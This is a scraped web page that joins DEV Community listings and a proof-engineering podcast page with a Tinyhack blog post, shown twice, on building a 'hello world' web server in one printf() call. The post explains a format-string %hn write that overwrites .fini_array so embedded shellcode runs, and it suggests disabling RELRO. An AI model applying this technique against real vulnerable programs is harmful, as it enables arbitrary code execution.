React: Or How I Thought I Optimized My App (But Mostly Just Felt Productive) Boluwatife Adewusi Boluwatife Adewusi Boluwatife Adewusi Follow Jan 8 Memoization in React: Or How I Thought I Optimized My App (But Mostly Just Felt Productive) # javascript # performance # productivity # react Comments Add Comment 4 min read Beyond RAG: Building Intelligent Memory Systems for AI Agents Matteo Tuzi Matteo Tuzi Matteo Tuzi Follow Jan 8 Beyond RAG: Building Intelligent Memory Systems for AI Agents # ai # rag # memory # productivity Comments Add Comment 6 min read I was tired of copying .env files between machines, so we built a CLI Ademijuwon Wisdom Ademijuwon Wisdom Ademijuwon Wisdom Follow Jan 8 I was tired of copying .env files between machines, so we built a CLI # python # productivity # opensource # security Comments Add Comment 1 min read Stop Wasting Tokens on UI Bugs: How Chrome DevTools MCP Changed My Debugging Workflow hassantayyab hassantayyab hassantayyab Follow Jan 8 Stop Wasting Tokens on UI Bugs: How Chrome DevTools MCP Changed My Debugging Workflow # ai # productivity # webdev # frontend Comments Add Comment 4 min read Useful tools on 1.tools Eray Ates Eray Ates Eray Ates Follow Jan 9 Useful tools on 1.tools # webdev # productivity # opensource Comments Add Comment 1 min read AI Can Write Code. But "Trying Things Out" Still Feels Scary Yuto Takashi Yuto Takashi Yuto Takashi Follow Jan 8 AI Can Write Code. But "Trying Things Out" Still Feels Scary # ai # github # automation # productivity Comments Add Comment 3 min read mebularts: A tiny Turkish fake data generator for tests (names, phones, addresses, user-agents) Mehmet Bulat Mehmet Bulat Mehmet Bulat Follow Jan 8 mebularts: A tiny Turkish fake data generator for tests (names, phones, addresses, user-agents) # productivity # python # faker # alternative Comments Add Comment 1 min read Claude CLI Context Window Solved Denys Meddediev Denys Meddediev Denys Meddediev Follow Jan 8 Claude CLI Context Window Solved # ai # programming # opensource # productivity Comments Add Comment 1 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. 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https://dev.to/devdiscuss/s6-e4-how-will-proof-engineering-affect-the-future-of-software-development | S6:E4 - How Will Proof Engineering Affect the Future of Software Development - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DevDiscuss Follow S6:E4 - How Will Proof Engineering Affect the Future of Software Development Sep 1 '21 play In this episode, we talk about proof engineering with Talia Ringer, researcher and incoming assistant professor at the University of Illinois at Urbana-Champaign. Show Notes Scout APM (DevDiscuss) (sponsor) Cockroach Labs (DevDiscuss) (sponsor) CodeLand (sponsor) seL4: Formal Verification of an OS Kernel Formally Verified Software in the Real World The CompCert C Compiler Formal Verification of a Realistic Compiler Finding and Understanding Bugs in C Compilers QED at Large: A Survey of Engineering of Formally Verified Software BP: Formal Proofs, the Fine Print and Side Effects Proof Repair Talia's Ph.D. Thesis Defense: Proof Repair PL/FM/SE at Illinois Proof Repair and Code Generation Galois BedRock Systems How AWS’s Automated Reasoning Group helps make AWS and other Amazon products more secure A Solver-Aided Language for Test Input Generation Satnam Singh Silver Oak Project Proof Repair across Type Equivalences Adapting Proof Automation to Adapt Proofs Emily First RanDair Porter, Yuriy Brun Removing tokens in gallina.py LASER-UMASS / TacTok Developing Bug-Free Machine Learning Systems With Formal Mathematics Matthew Dwyer Refactoring Neural Networks for Verification Alex Polozov Evaluating Large Language Models Trained on Code Talia Ringer Talia Ringer is an assistant professor with the PL/FM/SE group at Illinois. She likes to build proof engineering technologies to make that world a reality. In so doing, she loves to use the whole toolbox---everything from dependent type theory to program transformations to neural proof synthesis---all in service of real humans. Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23490 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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Right menu Smart Coding vs Vibe Coding: Engineering Discipline in the Age of AI Andrey Kolkov Andrey Kolkov Andrey Kolkov Follow Jan 12 Smart Coding vs Vibe Coding: Engineering Discipline in the Age of AI # programming # ai # productivity # architecture 1 reaction Comments Add Comment 15 min read How to ask awesome questions as a dev (Without Dying of Imposter Syndrome) Ishika-jain Ishika-jain Ishika-jain Follow Jan 12 How to ask awesome questions as a dev (Without Dying of Imposter Syndrome) # beginners # mentalhealth # productivity Comments Add Comment 4 min read dots-ocr: Open-Source OCR Outperforms Giants for Multilingual Automation Dr Hernani Costa Dr Hernani Costa Dr Hernani Costa Follow Jan 12 dots-ocr: Open-Source OCR Outperforms Giants for Multilingual Automation # ai # automation # machinelearning # productivity Comments Add Comment 4 min read The Limitations of Text Embeddings in RAG Applications: A Deep Engineering Dive Kumar Kislay Kumar Kislay Kumar Kislay Follow Jan 12 The Limitations of Text Embeddings in RAG Applications: A Deep Engineering Dive # productivity # sre # rag # machinelearning Comments Add Comment 19 min read The Power of the Duo: Why Strategic Partnerships are the Secret to Resilient Teams adegiamb adegiamb adegiamb Follow Jan 12 The Power of the Duo: Why Strategic Partnerships are the Secret to Resilient Teams # culture # softskills # productivity # management Comments Add Comment 4 min read Agentic Coding Tools Are Accelerating Output, Not Velocity Signadot Signadot Signadot Follow Jan 12 Agentic Coding Tools Are Accelerating Output, Not Velocity # ai # devops # kubernetes # productivity Comments Add Comment 5 min read Contextual Inference with Generative AI: Turning Messy Notes into Professional Meeting Minutes FARAZ FARHAN FARAZ FARHAN FARAZ FARHAN Follow Jan 12 Contextual Inference with Generative AI: Turning Messy Notes into Professional Meeting Minutes # ai # productivity # automation # promptengineering Comments Add Comment 4 min read Clean Code Is a Communication Tool, Not a Style Preference Shamim Ali Shamim Ali Shamim Ali Follow Jan 12 Clean Code Is a Communication Tool, Not a Style Preference # programming # beginners # productivity # coding Comments Add Comment 1 min read Notifications Are Not Just Messages. They Are Memory Triggers. Surhid Amatya Surhid Amatya Surhid Amatya Follow Jan 12 Notifications Are Not Just Messages. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23445 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can 